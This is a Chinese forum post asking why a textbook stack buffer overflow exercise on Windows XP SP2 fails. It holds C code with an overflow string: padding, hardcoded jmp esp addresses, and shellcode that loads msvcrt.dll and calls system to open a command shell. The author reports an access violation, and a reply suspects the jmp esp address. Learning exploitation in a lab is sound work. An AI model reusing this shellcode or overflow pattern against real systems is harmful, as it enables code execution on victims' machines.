一个Q版溢出的疑问,请大侠解决,谢谢

ambatzhan 2015-07-21 03:44:55
环境描述:VM 10.0.0 build-1295980+WinXP+sp2
程序运行环境:VC++6.0
程序内容:
#include <stdio.h>
#include <string.h>

char name[] =
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
//"\x64\xaf\xe1\x77" //!覆盖成jmp esp的地址,在sp2上的地址77e1af64!
//"\xb8\x9e\xe1\x77" //此处我使用的是sp4的地址,利用程序在虚拟机中得到的地址
"\x12\x45\xfa\x7f" //因为课件版本与我使用的版本不同,我将这三个jmp esp地址都试了


"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x54\xA2"
"\xE6\x77\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8\x4a\x9b\x01\x78\xFF\xD0"; //打开dos窗口

int main()
{
char output[8];

strcpy(output, name);

for(int i=0;i<8&&output[i];i++)

printf("\\0x%x",output[i]);

return 0;
}

结果:
1、不能打开dos窗口;
2、按下VC++的“F5”后提示,“Unhandled exception in 111.exe (NTDLL.DLL):0xC0000005: Access Violation”
...全文
1660 1 打赏 收藏 转发到动态 举报
写回复
用AI写文章
1 条回复
切换为时间正序
请发表友善的回复…
发表回复
ambatzhan 2015-07-21
  • 打赏
  • 举报
回复
我感觉是JMP esp地址的问题,但是试了好多,都不行,请教这是什么原因啊?

4,451

社区成员

发帖
与我相关
我的任务
社区描述
云计算 云安全相关讨论
社区管理员
  • 云安全社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧